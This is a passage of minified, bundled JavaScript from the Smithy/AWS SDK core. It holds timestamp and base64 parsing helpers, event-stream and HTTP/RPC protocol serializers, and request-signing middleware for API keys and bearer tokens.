Date(Date.UTC(Number(q),Number(Y)-1,Number(z),Number(w),Number(H),Number(J),Number(O)?Math.round(parseFloat(`0.${O}`)*1000):0));if($.setUTCFullYear(Number(q)),X.toUpperCase()!="Z"){let[,_,G,Z]=/([+-])(\d\d):(\d\d)/.exec(X)||[void 0,"+",0,0],W=_==="-"?1:-1;$.setTime($.getTime()+W*(Number(G)*60*60*1000+Number(Z)*60*1000))}return $},pW5=(A)=>{if(A==null)return;if(typeof A!=="string")throw TypeError("RFC7231 timestamps must be strings.");let K,q,Y,z,w,H,J,O;if(O=BW5.exec(A))[,K,q,Y,z,w,H,J]=O;else if(O=mW5.exec(A))[,K,q,Y,z,w,H,J]=O,Y=(Number(Y)+1900).toString();else if(O=gW5.exec(A))[,q,K,z,w,H,J,Y]=O;if(Y&&H){let X=Date.UTC(Number(Y),FW5.indexOf(q),Number(K),Number(z),Number(w),Number(H),J?Math.round(parseFloat(`0.${J}`)*1000):0);pF(K,1,31),pF(z,0,23),pF(w,0,59),pF(H,0,60);let $=new Date(X);return $.setUTCFullYear(Number(Y)),$}throw TypeError(`Invalid RFC7231 date-time value ${A}.`)};function pF(A,K,q){let Y=Number(A);if(Y<K||Y>q)throw Error(`Value ${Y} out of range [${K}, ${q}]`)}function dW5(A,K,q){if(q<=0||!Number.isInteger(q))throw Error("Invalid number of delimiters ("+q+") for splitEvery.");let Y=A.split(K);if(q===1)return Y;let z=[],w="";for(let H=0;H<Y.length;H++){if(w==="")w=Y[H];else w+=K+Y[H];if((H+1)%q===0)z.push(w),w=""}if(w!=="")z.push(w);return z}var cW5=(A)=>{let K=A.length,q=[],Y=!1,z=void 0,w=0;for(let H=0;H<K;++H){let J=A[H];switch(J){case'"':if(z!=="\\")Y=!Y;break;case",":if(!Y)q.push(A.slice(w,H)),w=H+1;break}z=J}return q.push(A.slice(w)),q.map((H)=>{H=H.trim();let J=H.length;if(J<2)return H;if(H[0]==='"'&&H[J-1]==='"')H=H.slice(1,J-1);return H.replace(/\\"/g,'"')})},qg8=/^-?\d*(\.\d+)?$/;class v61{string;type;constructor(A,K){if(this.string=A,this.type=K,!qg8.test(A))throw Error('@smithy/core/serde - NumericValue must only contain [0-9], at most one decimal point ".", and an optional negation prefix "-".')}toString(){return this.string}static[Symbol.hasInstance](A){if(!A||typeof A!=="object")return!1;let K=A;return v61.prototype.isPrototypeOf(A)||K.type==="bigDecimal"&&qg8.test(K.string)}}function lW5(A){return new v61(String(A),"bigDecimal")}Object.defineProperty($g8,"generateIdempotencyToken",{enumerable:!0,get:function(){return tZ5.v4}});$g8.LazyJsonString=i6A;$g8.NumericValue=v61;$g8._parseEpochTimestamp=QW5;$g8._parseRfc3339DateTimeWithOffset=UW5;$g8._parseRfc7231DateTime=pW5;$g8.copyDocumentWithTransform=eZ5;$g8.dateToUtcString=jW5;$g8.expectBoolean=KW5;$g8.expectByte=Hi1;$g8.expectFloat32=N61;$g8.expectInt=YW5;$g8.expectInt32=zi1;$g8.expectLong=CCA;$g8.expectNonNull=wW5;$g8.expectNumber=kCA;$g8.expectObject=Yg8;$g8.expectShort=wi1;$g8.expectString=HW5;$g8.expectUnion=JW5;$g8.handleFloat=$W5;$g8.limitedParseDouble=Xi1;$g8.limitedParseFloat=_W5;$g8.limitedParseFloat32=GW5;$g8.logger=LCA;$g8.nv=lW5;$g8.parseBoolean=AW5;$g8.parseEpochTimestamp=kW5;$g8.parseRfc3339DateTime=PW5;$g8.parseRfc3339DateTimeWithOffset=fW5;$g8.parseRfc7231DateTime=EW5;$g8.quoteHeader=xW5;$g8.splitEvery=dW5;$g8.splitHeader=cW5;$g8.strictParseByte=Jg8;$g8.strictParseDouble=Oi1;$g8.strictParseFloat=OW5;$g8.strictParseFloat32=zg8;$g8.strictParseInt=ZW5;$g8.strictParseInt32=WW5;$g8.strictParseLong=Hg8;$g8.strictParseShort=tJA});var _g8=v((xD5)=>{var bD5=(A)=>typeof ArrayBuffer==="function"&&A instanceof ArrayBuffer||Object.prototype.toString.call(A)==="[object ArrayBuffer]";xD5.isArrayBuffer=bD5});var Di1=v((FD5)=>{var BD5=_g8(),Wi1=CA("buffer"),mD5=(A,K=0,q=A.byteLength-K)=>{if(!BD5.isArrayBuffer(A))throw TypeError(`The "input" argument must be ArrayBuffer. Received type ${typeof A} (${A})`);return Wi1.Buffer.from(A,K,q)},gD5=(A,K)=>{if(typeof A!=="string")throw TypeError(`The "input" argument must be of type string. Received type ${typeof A} (${A})`);return K?Wi1.Buffer.from(A,K):Wi1.Buffer.from(A)};FD5.fromArrayBuffer=mD5;FD5.fromString=gD5});var Wg8=v((Gg8)=>{Object.defineProperty(Gg8,"__esModule",{value:!0});Gg8.fromBase64=void 0;var pD5=Di1(),dD5=/^[A-Za-z0-9+/]*={0,2}$/,cD5=(A)=>{if(A.length*3%4!==0)throw TypeError("Incorrect padding on base64 string.");if(!dD5.exec(A))throw TypeError("Invalid base64 string.");let K=(0,pD5.fromString)(A,"base64");return new Uint8Array(K.buffer,K.byteOffset,K.byteLength)};Gg8.fromBase64=cD5});var Mg8=v((Dg8)=>{Object.defineProperty(Dg8,"__esModule",{value:!0});Dg8.toBase64=void 0;var lD5=Di1(),iD5=_z(),nD5=(A)=>{let K;if(typeof A==="string")K=(0,iD5.fromUtf8)(A);else K=A;if(typeof K!=="object"||typeof K.byteOffset!=="number"||typeof K.byteLength!=="number")throw Error("@smithy/util-base64: toBase64 encoder function only accepts string | Uint8Array.");return(0,lD5.fromArrayBuffer)(K.buffer,K.byteOffset,K.byteLength).toString("base64")};Dg8.toBase64=nD5});var ji1=v((RCA)=>{var Pg8=Wg8(),Vg8=Mg8();Object.keys(Pg8).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(RCA,A))Object.defineProperty(RCA,A,{enumerable:!0,get:function(){return Pg8[A]}})});Object.keys(Vg8).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(RCA,A))Object.defineProperty(RCA,A,{enumerable:!0,get:function(){return Vg8[A]}})})});var Tg8=v((rD5)=>{var fg8=_z();class Ng8{marshaller;serializer;deserializer;serdeContext;defaultContentType;constructor({marshaller:A,serializer:K,deserializer:q,serdeContext:Y,defaultContentType:z}){this.marshaller=A,this.serializer=K,this.deserializer=q,this.serdeContext=Y,this.defaultContentType=z}async serializeEventStream({eventStream:A,requestSchema:K,initialRequest:q}){let Y=this.marshaller,z=K.getEventStreamMember(),w=K.getMemberSchema(z),H=this.serializer,J=this.defaultContentType,O=Symbol("initialRequestMarker"),X={async*[Symbol.asyncIterator](){if(q){let $={":event-type":{type:"string",value:"initial-request"},":message-type":{type:"string",value:"event"},":content-type":{type:"string",value:J}};H.write(K,q);let _=H.flush();yield{[O]:!0,headers:$,body:_}}for await(let $ of A)yield $}};return Y.serialize(X,($)=>{if($[O])return{headers:$.headers,body:$.body};let _=Object.keys($).find((M)=>{return M!=="__type"})??"",{additionalHeaders:G,body:Z,eventType:W,explicitPayloadContentType:D}=this.writeEventBody(_,w,$);return{headers:{":event-type":{type:"string",value:W},":message-type":{type:"string",value:"event"},":content-type":{type:"string",value:D??J},...G},body:Z}})}async deserializeEventStream({response:A,responseSchema:K,initialResponseContainer:q}){let Y=this.marshaller,z=K.getEventStreamMember(),H=K.getMemberSchema(z).getMemberSchemas(),J=Symbol("initialResponseMarker"),O=Y.deserialize(A.body,async(_)=>{let G=Object.keys(_).find((W)=>{return W!=="__type"})??"",Z=_[G].body;if(G==="initial-response"){let W=await this.deserializer.read(K,Z);return delete W[z],{[J]:!0,...W}}else if(G in H){let W=H[G];if(W.isStructSchema()){let D={},j=!1;for(let[M,P]of W.structIterator()){let{eventHeader:f,eventPayload:N}=P.getMergedTraits();if(j=j||Boolean(f||N),N){if(P.isBlobSchema())D[M]=Z;else if(P.isStringSchema())D[M]=(this.serdeContext?.utf8Encoder??fg8.toUtf8)(Z);else if(P.isStructSchema())D[M]=await this.deserializer.read(P,Z)}else if(f){let T=_[G].headers[M]?.value;if(T!=null)if(P.isNumericSchema())if(T&&typeof T==="object"&&"bytes"in T)D[M]=BigInt(T.toString());else D[M]=Number(T);else D[M]=T}}if(j)return{[G]:D}}return{[G]:await this.deserializer.read(W,Z)}}else return{$unknown:_}}),X=O[Symbol.asyncIterator](),$=await X.next();if($.done)return O;if($.value?.[J]){if(!K)throw Error("@smithy::core/protocols - initial-response event encountered in event stream but no response schema given.");for(let[_,G]of Object.entries($.value))q[_]=G}return{async*[Symbol.asyncIterator](){if(!$?.value?.[J])yield $.value;while(!0){let{done:_,value:G}=await X.next();if(_)break;yield G}}}}writeEventBody(A,K,q){let Y=this.serializer,z=A,w=null,H,J=(()=>{return K.getSchema()[4].includes(A)})(),O={};if(!J){let[_,G]=q[A];z=_,Y.write(15,G)}else{let _=K.getMemberSchema(A);if(_.isStructSchema()){for(let[G,Z]of _.structIterator()){let{eventHeader:W,eventPayload:D}=Z.getMergedTraits();if(D){w=G;break}else if(W){let j=q[A][G],M="binary";if(Z.isNumericSchema())if(-2147483648<=j&&j<=2147483647)M="integer";else M="long";else if(Z.isTimestampSchema())M="timestamp";else if(Z.isStringSchema())M="string";else if(Z.isBooleanSchema())M="boolean";if(j!=null)O[G]={type:M,value:j},delete q[A][G]}}if(w!==null){let G=_.getMemberSchema(w);if(G.isBlobSchema())H="application/octet-stream";else if(G.isStringSchema())H="text/plain";Y.write(G,q[A][w])}else Y.write(_,q[A])}else throw Error("@smithy/core/event-streams - non-struct member not supported in event stream union.")}let X=Y.flush();return{body:typeof X==="string"?(this.serdeContext?.utf8Decoder??fg8.fromUtf8)(X):X,eventType:z,explicitPayloadContentType:H,additionalHeaders:O}}}rD5.EventStreamSerde=Ng8});var VV=v((sD5)=>{var E61=sl1(),sE=DJ(),aE=PV(),yCA=DCA(),k61=ji1(),Mi1=_z(),n6A=async(A=new Uint8Array,K)=>{if(A instanceof Uint8Array)return E61.Uint8ArrayBlobAdapter.mutate(A);if(!A)return E61.Uint8ArrayBlobAdapter.mutate(new Uint8Array);let q=K.streamCollector(A);return E61.Uint8ArrayBlobAdapter.mutate(await q)};function ICA(A){return encodeURIComponent(A).replace(/[!'()*]/g,function(K){return"%"+K.charCodeAt(0).toString(16).toUpperCase()})}class KOA{serdeContext;setSerdeContext(A){this.serdeContext=A}}class C61 extends KOA{options;constructor(A){super();this.options=A}getRequestType(){return yCA.HttpRequest}getResponseType(){return yCA.HttpResponse}setSerdeContext(A){if(this.serdeContext=A,this.serializer.setSerdeContext(A),this.deserializer.setSerdeContext(A),this.getPayloadCodec())this.getPayloadCodec().setSerdeContext(A)}updateServiceEndpoint(A,K){if("url"in K){if(A.protocol=K.url.protocol,A.hostname=K.url.hostname,A.port=K.url.port?Number(K.url.port):void 0,A.path=K.url.pathname,A.fragment=K.url.hash||void 0,A.username=K.url.username||void 0,A.password=K.url.password||void 0,!A.query)A.query={};for(let[q,Y]of K.url.searchParams.entries())A.query[q]=Y;return A}else return A.protocol=K.protocol,A.hostname=K.hostname,A.port=K.port?Number(K.port):void 0,A.path=K.path,A.query={...K.query},A}setHostPrefix(A,K,q){let Y=sE.NormalizedSchema.of(K.input),z=sE.translateTraits(K.traits??{});if(z.endpoint){let w=z.endpoint?.[0];if(typeof w==="string"){let H=[...Y.structIterator()].filter(([,J])=>J.getMergedTraits().hostLabel);for(let[J]of H){let O=q[J];if(typeof O!=="string")throw Error(`@smithy/core/schema - ${J} in input must be a string as hostLabel.`);w=w.replace(`{${J}}`,O)}A.hostname=w+A.hostname}}}deserializeMetadata(A){return{httpStatusCode:A.statusCode,requestId:A.headers["x-amzn-requestid"]??A.headers["x-amzn-request-id"]??A.headers["x-amz-request-id"],extendedRequestId:A.headers["x-amz-id-2"],cfId:A.headers["x-amz-cf-id"]}}async serializeEventStream({eventStream:A,requestSchema:K,initialRequest:q}){return(await this.loadEventStreamCapability()).serializeEventStream({eventStream:A,requestSchema:K,initialRequest:q})}async deserializeEventStream({response:A,responseSchema:K,initialResponseContainer:q}){return(await this.loadEventStreamCapability()).deserializeEventStream({response:A,responseSchema:K,initialResponseContainer:q})}async loadEventStreamCapability(){let{EventStreamSerde:A}=await Promise.resolve().then(() => o(Tg8()));return new A({marshaller:this.getEventStreamMarshaller(),serializer:this.serializer,deserializer:this.deserializer,serdeContext:this.serdeContext,defaultContentType:this.getDefaultContentType()})}getDefaultContentType(){throw Error(`@smithy/core/protocols - ${this.constructor.name} getDefaultContentType() implementation missing.`)}async deserializeHttpMessage(A,K,q,Y,z){return[]}getEventStreamMarshaller(){let A=this.serdeContext;if(!A.eventStreamMarshaller)throw Error("@smithy/core - HttpProtocol: eventStreamMarshaller missing in serdeContext.");return A.eventStreamMarshaller}}class vg8 extends C61{async serializeRequest(A,K,q){let Y={...K??{}},z=this.serializer,w={},H={},J=await q.endpoint(),O=sE.NormalizedSchema.of(A?.input),X=O.getSchema(),$=!1,_,G=new yCA.HttpRequest({protocol:"",hostname:"",port:void 0,path:"",fragment:void 0,query:w,headers:H,body:void 0});if(J){this.updateServiceEndpoint(G,J),this.setHostPrefix(G,A,Y);let Z=sE.translateTraits(A.traits);if(Z.http){G.method=Z.http[0];let[W,D]=Z.http[1].split("?");if(G.path=="/")G.path=W;else G.path+=W;let j=new URLSearchParams(D??"");Object.assign(w,Object.fromEntries(j))}}for(let[Z,W]of O.structIterator()){let D=W.getMergedTraits()??{},j=Y[Z];if(j==null&&!W.isIdempotencyToken())continue;if(D.httpPayload){if(W.isStreaming())if(W.isStructSchema()){if(Y[Z])_=await this.serializeEventStream({eventStream:Y[Z],requestSchema:O})}else _=j;else z.write(W,j),_=z.flush();delete Y[Z]}else if(D.httpLabel){z.write(W,j);let M=z.flush();if(G.path.includes(`{${Z}+}`))G.path=G.path.replace(`{${Z}+}`,M.split("/").map(ICA).join("/"));else if(G.path.includes(`{${Z}}`))G.path=G.path.replace(`{${Z}}`,ICA(M));delete Y[Z]}else if(D.httpHeader)z.write(W,j),H[D.httpHeader.toLowerCase()]=String(z.flush()),delete Y[Z];else if(typeof D.httpPrefixHeaders==="string"){for(let[M,P]of Object.entries(j)){let f=D.httpPrefixHeaders+M;z.write([W.getValueSchema(),{httpHeader:f}],P),H[f.toLowerCase()]=z.flush()}delete Y[Z]}else if(D.httpQuery||D.httpQueryParams)this.serializeQuery(W,j,w),delete Y[Z];else $=!0}if($&&Y)z.write(X,Y),_=z.flush();return G.headers=H,G.query=w,G.body=_,G}serializeQuery(A,K,q){let Y=this.serializer,z=A.getMergedTraits();if(z.httpQueryParams){for(let[w,H]of Object.entries(K))if(!(w in q)){let J=A.getValueSchema();Object.assign(J.getMergedTraits(),{...z,httpQuery:w,httpQueryParams:void 0}),this.serializeQuery(J,H,q)}return}if(A.isListSchema()){let w=!!A.getMergedTraits().sparse,H=[];for(let J of K){Y.write([A.getValueSchema(),z],J);let O=Y.flush();if(w||O!==void 0)H.push(O)}q[z.httpQuery]=H}else Y.write([A,z],K),q[z.httpQuery]=Y.flush()}async deserializeResponse(A,K,q){let Y=this.deserializer,z=sE.NormalizedSchema.of(A.output),w={};if(q.statusCode>=300){let J=await n6A(q.body,K);if(J.byteLength>0)Object.assign(w,await Y.read(15,J));throw await this.handleError(A,K,q,w,this.deserializeMetadata(q)),Error("@smithy/core/protocols - HTTP Protocol error handler failed to throw.")}for(let J in q.headers){let O=q.headers[J];delete q.headers[J],q.headers[J.toLowerCase()]=O}let H=await this.deserializeHttpMessage(z,K,q,w);if(H.length){let J=await n6A(q.body,K);if(J.byteLength>0){let O=await Y.read(z,J);for(let X of H)w[X]=O[X]}}else if(H.discardResponseBody)await n6A(q.body,K);return w.$metadata=this.deserializeMetadata(q),w}async deserializeHttpMessage(A,K,q,Y,z){let w;if(Y instanceof Set)w=z;else w=Y;let H=!0,J=this.deserializer,O=sE.NormalizedSchema.of(A),X=[];for(let[$,_]of O.structIterator()){let G=_.getMemberTraits();if(G.httpPayload){if(H=!1,_.isStreaming())if(_.isStructSchema())w[$]=await this.deserializeEventStream({response:q,responseSchema:O});else w[$]=E61.sdkStreamMixin(q.body);else if(q.body){let W=await n6A(q.body,K);if(W.byteLength>0)w[$]=await J.read(_,W)}}else if(G.httpHeader){let Z=String(G.httpHeader).toLowerCase(),W=q.headers[Z];if(W!=null)if(_.isListSchema()){let D=_.getValueSchema();D.getMergedTraits().httpHeader=Z;let j;if(D.isTimestampSchema()&&D.getSchema()===4)j=aE.splitEvery(W,",",2);else j=aE.splitHeader(W);let M=[];for(let P of j)M.push(await J.read(D,P.trim()));w[$]=M}else w[$]=await J.read(_,W)}else if(G.httpPrefixHeaders!==void 0){w[$]={};for(let[Z,W]of Object.entries(q.headers))if(Z.startsWith(G.httpPrefixHeaders)){let D=_.getValueSchema();D.getMergedTraits().httpHeader=Z,w[$][Z.slice(G.httpPrefixHeaders.length)]=await J.read(D,W)}}else if(G.httpResponseCode)w[$]=q.statusCode;else X.push($)}return X.discardResponseBody=H,X}}class Eg8 extends C61{async serializeRequest(A,K,q){let Y=this.serializer,z={},w={},H=await q.endpoint(),J=sE.NormalizedSchema.of(A?.input),O=J.getSchema(),X,$=new yCA.HttpRequest({protocol:"",hostname:"",port:void 0,path:"/",fragment:void 0,query:z,headers:w,body:void 0});if(H)this.updateServiceEndpoint($,H),this.setHostPrefix($,A,K);let _={...K};if(K){let G=J.getEventStreamMember();if(G){if(_[G]){let Z={};for(let[W,D]of J.structIterator())if(W!==G&&_[W])Y.write(D,_[W]),Z[W]=Y.flush();X=await this.serializeEventStream({eventStream:_[G],requestSchema:J,initialRequest:Z})}}else Y.write(O,_),X=Y.flush()}return $.headers=w,$.query=z,$.body=X,$.method="POST",$}async deserializeResponse(A,K,q){let Y=this.deserializer,z=sE.NormalizedSchema.of(A.output),w={};if(q.statusCode>=300){let J=await n6A(q.body,K);if(J.byteLength>0)Object.assign(w,await Y.read(15,J));throw await this.handleError(A,K,q,w,this.deserializeMetadata(q)),Error("@smithy/core/protocols - RPC Protocol error handler failed to throw.")}for(let J in q.headers){let O=q.headers[J];delete q.headers[J],q.headers[J.toLowerCase()]=O}let H=z.getEventStreamMember();if(H)w[H]=await this.deserializeEventStream({response:q,responseSchema:z,initialResponseContainer:w});else{let J=await n6A(q.body,K);if(J.byteLength>0)Object.assign(w,await Y.read(z,J))}return w.$metadata=this.deserializeMetadata(q),w}}var kg8=(A,K,q,Y,z,w)=>{if(K!=null&&K[q]!==void 0){let H=Y();if(H.length<=0)throw Error("Empty value provided for input HTTP label: "+q+".");A=A.replace(z,w?H.split("/").map((J)=>ICA(J)).join("/"):ICA(H))}else throw Error("No value provided for input HTTP label: "+q+".");return A};function aD5(A,K){return new Pi1(A,K)}class Pi1{input;context;query={};method="";headers={};path="";body=null;hostname="";resolvePathStack=[];constructor(A,K){this.input=A,this.context=K}async build(){let{hostname:A,protocol:K="https",port:q,path:Y}=await this.context.endpoint();this.path=Y;for(let z of this.resolvePathStack)z(this.path);return new yCA.HttpRequest({protocol:K,hostname:this.hostname||A,port:q,method:this.method,path:this.path,query:this.query,body:this.body,headers:this.headers})}hn(A){return this.hostname=A,this}bp(A){return this.resolvePathStack.push((K)=>{this.path=`${K?.endsWith("/")?K.slice(0,-1):K||""}`+A}),this}p(A,K,q,Y){return this.resolvePathStack.push((z)=>{this.path=kg8(z,this.input,A,K,q,Y)}),this}h(A){return this.headers=A,this}q(A){return this.query=A,this}b(A){return this.body=A,this}m(A){return this.method=A,this}}function Vi1(A,K){if(K.timestampFormat.useTrait){if(A.isTimestampSchema()&&(A.getSchema()===5||A.getSchema()===6||A.getSchema()===7))return A.getSchema()}let{httpLabel:q,httpPrefixHeaders:Y,httpHeader:z,httpQuery:w}=A.getMergedTraits();return(K.httpBindings?typeof Y==="string"||Boolean(z)?6:Boolean(w)||Boolean(q)?5:void 0:void 0)??K.timestampFormat.default}class fi1 extends KOA{settings;constructor(A){super();this.settings=A}read(A,K){let q=sE.NormalizedSchema.of(A);if(q.isListSchema())return aE.splitHeader(K).map((Y)=>this.read(q.getValueSchema(),Y));if(q.isBlobSchema())return(this.serdeContext?.base64Decoder??k61.fromBase64)(K);if(q.isTimestampSchema())switch(Vi1(q,this.settings)){case 5:return aE._parseRfc3339DateTimeWithOffset(K);case 6:return aE._parseRfc7231DateTime(K);case 7:return aE._parseEpochTimestamp(K);default:return console.warn("Missing timestamp format, parsing value with Date constructor:",K),new Date(K)}if(q.isStringSchema()){let Y=q.getMergedTraits().mediaType,z=K;if(Y){if(q.getMergedTraits().httpHeader)z=this.base64ToUtf8(z);if(Y==="application/json"||Y.endsWith("+json"))z=aE.LazyJsonString.from(z);return z}}if(q.isNumericSchema())return Number(K);if(q.isBigIntegerSchema())return BigInt(K);if(q.isBigDecimalSchema())return new aE.NumericValue(K,"bigDecimal");if(q.isBooleanSchema())return String(K).toLowerCase()==="true";return K}base64ToUtf8(A){return(this.serdeContext?.utf8Encoder??Mi1.toUtf8)((this.serdeContext?.base64Decoder??k61.fromBase64)(A))}}class Cg8 extends KOA{codecDeserializer;stringDeserializer;constructor(A,K){super();this.codecDeserializer=A,this.stringDeserializer=new fi1(K)}setSerdeContext(A){this.stringDeserializer.setSerdeContext(A),this.codecDeserializer.setSerdeContext(A),this.serdeContext=A}read(A,K){let q=sE.NormalizedSchema.of(A),Y=q.getMergedTraits(),z=this.serdeContext?.utf8Encoder??Mi1.toUtf8;if(Y.httpHeader||Y.httpResponseCode)return this.stringDeserializer.read(q,z(K));if(Y.httpPayload){if(q.isBlobSchema()){let w=this.serdeContext?.utf8Decoder??Mi1.fromUtf8;if(typeof K==="string")return w(K);return K}else if(q.isStringSchema()){if("byteLength"in K)return z(K);return K}}return this.codecDeserializer.read(q,K)}}class Ni1 extends KOA{settings;stringBuffer="";constructor(A){super();this.settings=A}write(A,K){let q=sE.NormalizedSchema.of(A);switch(typeof K){case"object":if(K===null){this.stringBuffer="null";return}if(q.isTimestampSchema()){if(!(K instanceof Date))throw Error(`@smithy/core/protocols - received non-Date value ${K} when schema expected Date in ${q.getName(!0)}`);switch(Vi1(q,this.settings)){case 5:this.stringBuffer=K.toISOString().replace(".000Z","Z");break;case 6:this.stringBuffer=aE.dateToUtcString(K);break;case 7:this.stringBuffer=String(K.getTime()/1000);break;default:console.warn("Missing timestamp format, using epoch seconds",K),this.stringBuffer=String(K.getTime()/1000)}return}if(q.isBlobSchema()&&"byteLength"in K){this.stringBuffer=(this.serdeContext?.base64Encoder??k61.toBase64)(K);return}if(q.isListSchema()&&Array.isArray(K)){let w="";for(let H of K){this.write([q.getValueSchema(),q.getMergedTraits()],H);let J=this.flush(),O=q.getValueSchema().isTimestampSchema()?J:aE.quoteHeader(J);if(w!=="")w+=", ";w+=O}this.stringBuffer=w;return}this.stringBuffer=JSON.stringify(K,null,2);break;case"string":let Y=q.getMergedTraits().mediaType,z=K;if(Y){if(Y==="application/json"||Y.endsWith("+json"))z=aE.LazyJsonString.from(z);if(q.getMergedTraits().httpHeader){this.stringBuffer=(this.serdeContext?.base64Encoder??k61.toBase64)(z.toString());return}}this.stringBuffer=K;break;default:if(q.isIdempotencyToken())this.stringBuffer=aE.generateIdempotencyToken();else this.stringBuffer=String(K)}}flush(){let A=this.stringBuffer;return this.stringBuffer="",A}}class Lg8{codecSerializer;stringSerializer;buffer;constructor(A,K,q=new Ni1(K)){this.codecSerializer=A,this.stringSerializer=q}setSerdeContext(A){this.codecSerializer.setSerdeContext(A),this.stringSerializer.setSerdeContext(A)}write(A,K){let q=sE.NormalizedSchema.of(A),Y=q.getMergedTraits();if(Y.httpHeader||Y.httpLabel||Y.httpQuery){this.stringSerializer.write(q,K),this.buffer=this.stringSerializer.flush();return}return this.codecSerializer.write(q,K)}flush(){if(this.buffer!==void 0){let A=this.buffer;return this.buffer=void 0,A}return this.codecSerializer.flush()}}sD5.FromStringShapeDeserializer=fi1;sD5.HttpBindingProtocol=vg8;sD5.HttpInterceptingShapeDeserializer=Cg8;sD5.HttpInterceptingShapeSerializer=Lg8;sD5.HttpProtocol=C61;sD5.RequestBuilder=Pi1;sD5.RpcProtocol=Eg8;sD5.SerdeContext=KOA;sD5.ToStringShapeSerializer=Ni1;sD5.collectBody=n6A;sD5.determineTimestampFormat=Vi1;sD5.extendedEncodeURIComponent=ICA;sD5.requestBuilder=aD5;sD5.resolvedPath=kg8});var Gz=v((Qg8)=>{var L61=Zl1(),Rg8=WD(),Gj5=Ll1(),Ti1=DCA(),Zj5=VV(),Wj5=(A)=>A[L61.SMITHY_CONTEXT_KEY]||(A[L61.SMITHY_CONTEXT_KEY]={}),Dj5=(A,K)=>{if(!K||K.length===0)return A;let q=[];for(let Y of K)for(let z of A)if(z.schemeId.split("#")[1]===Y)q.push(z);for(let Y of A)if(!q.find(({schemeId:z})=>z===Y.schemeId))q.push(Y);return q};function jj5(A){let K=new Map;for(let q of A)K.set(q.schemeId,q);return K}var vi1=(A,K)=>(q,Y)=>async(z)=>{let w=A.httpAuthSchemeProvider(await K.httpAuthSchemeParametersProvider(A,Y,z.input)),H=A.authSchemePreference?await A.authSchemePreference():[],J=Dj5(w,H),O=jj5(A.httpAuthSchemes),X=Rg8.getSmithyContext(Y),$=[];for(let _ of J){let G=O.get(_.schemeId);if(!G){$.push(`HttpAuthScheme \`${_.schemeId}\` was not enabled for this service.`);continue}let Z=G.identityProvider(await K.identityProviderConfigProvider(A));if(!Z){$.push(`HttpAuthScheme \`${_.schemeId}\` did not have an IdentityProvider configured.`);continue}let{identityProperties:W={},signingProperties:D={}}=_.propertiesExtractor?.(A,Y)||{};_.identityProperties=Object.assign(_.identityProperties||{},W),_.signingProperties=Object.assign(_.signingProperties||{},D),X.selectedHttpAuthScheme={httpAuthOption:_,identity:await Z(_.identityProperties),signer:G.signer};break}if(!X.selectedHttpAuthScheme)throw Error($.join(` `));return q(z)},yg8={step:"serialize",tags:["HTTP_AUTH_SCHEME"],name:"httpAuthSchemeMiddleware",override:!0,relation:"before",toMiddleware:"endpointV2Middleware"},Mj5=(A,{httpAuthSchemeParametersProvider:K,identityProviderConfigProvider:q})=>({applyToStack:(Y)=>{Y.addRelativeTo(vi1(A,{httpAuthSchemeParametersProvider:K,identityProviderConfigProvider:q}),yg8)}}),Ig8={step:"serialize",tags:["HTTP_AUTH_SCHEME"],name:"httpAuthSchemeMiddleware",override:!0,relation:"before",toMiddleware:Gj5.serializerMiddlewareOption.name},Pj5=(A,{httpAuthSchemeParametersProvider:K,identityProviderConfigProvider:q})=>({applyToStack:(Y)=>{Y.addRelativeTo(vi1(A,{httpAuthSchemeParametersProvider:K,identityProviderConfigProvider:q}),Ig8)}}),Vj5=(A)=>(K)=>{throw K},fj5=(A,K)=>{},Sg8=(A)=>(K,q)=>async(Y)=>{if(!Ti1.HttpRequest.isInstance(Y.request))return K(Y);let w=Rg8.getSmithyContext(q).selectedHttpAuthScheme;if(!w)throw Error("No HttpAuthScheme was selected: unable to sign request");let{httpAuthOption:{signingProperties:H={}},identity:J,signer:O}=w,X=await K({...Y,request:await O.sign(Y.request,J,H)}).catch((O.errorHandler||Vj5)(H));return(O.successHandler||fj5)(X.response,H),X},hg8={step:"finalizeRequest",tags:["HTTP_SIGNING"],name:"httpSigningMiddleware",aliases:["apiKeyMiddleware","tokenMiddleware","awsAuthMiddleware"],override:!0,relation:"after",toMiddleware:"retryMiddleware"},Nj5=(A)=>({applyToStack:(K)=>{K.addRelativeTo(Sg8(),hg8)}}),Tj5=(A)=>{if(typeof A==="function")return A;let K=Promise.resolve(A);return()=>K},vj5=async(A,K,q,Y=(w)=>w,...z)=>{let w=new A(q);return w=Y(w)??w,await K.send(w,...z)};function Ej5(A,K,q,Y,z){return async function*(H,J,...O){let X=J,$=H.startingToken??X[q],_=!0,G;while(_){if(X[q]=$,z)X[z]=X[z]??H.pageSize;if(H.client instanceof A)G=await vj5(K,H.client,J,H.withCommand,...O);else throw Error(`Invalid client, expected instance of ${A.name}`);yield G;let Z=$;$=kj5(G,Y),_=!!($&&(!H.stopOnSameToken||$!==Z))}return}}var kj5=(A,K)=>{let q=A,Y=K.split(".");for(let z of Y){if(!q||typeof q!=="object")return;q=q[z]}return q};function Cj5(A,K,q){if(!A.__smithy_context)A.__smithy_context={features:{}};else if(!A.__smithy_context.features)A.__smithy_context.features={};A.__smithy_context.features[K]=q}class bg8{authSchemes=new Map;constructor(A){for(let[K,q]of Object.entries(A))if(q!==void 0)this.authSchemes.set(K,q)}getIdentityProvider(A){return this.authSchemes.get(A)}}class xg8{async sign(A,K,q){if(!q)throw Error("request could not be signed with `apiKey` since the `name` and `in` signer properties are missing");if(!q.name)throw Error("request could not be signed with `apiKey` since the `name` signer property is missing");if(!q.in)throw Error("request could not be signed with `apiKey` since the `in` signer property is missing");if(!K.apiKey)throw Error("request could not be signed with `apiKey` since the `apiKey` is not defined");let Y=Ti1.HttpRequest.clone(A);if(q.in===L61.HttpApiKeyAuthLocation.QUERY)Y.query[q.name]=K.apiKey;else if(q.in===L61.HttpApiKeyAuthLocation.HEADER)Y.headers[q.name]=q.scheme?`${q.scheme} ${K.apiKey}`:K.apiKey;else throw Error("request can only be signed with `apiKey` locations `query` or `header`, but found: `"+q.in+"`");return Y}}class ug8{async sign(A,K,q){let Y=Ti1.HttpRequest.clone(A);if(!K.token)throw Error("request could not be signed with `token` since the `token` is not defined");return Y.headers.Authorization=`Bearer ${K.token}`,Y}}class Bg8{async sign(A,K,q){return A}}var mg8=(A)=>function(q){return Fg8(q)&&q.expiration.getTime()-Date.now()<A},gg8=300000,Lj5=mg8(gg8),Fg8=(A)=>A.expiration!==void 0,Rj5=(A,K,q)=>{if(A===void 0)return;let Y=typeof 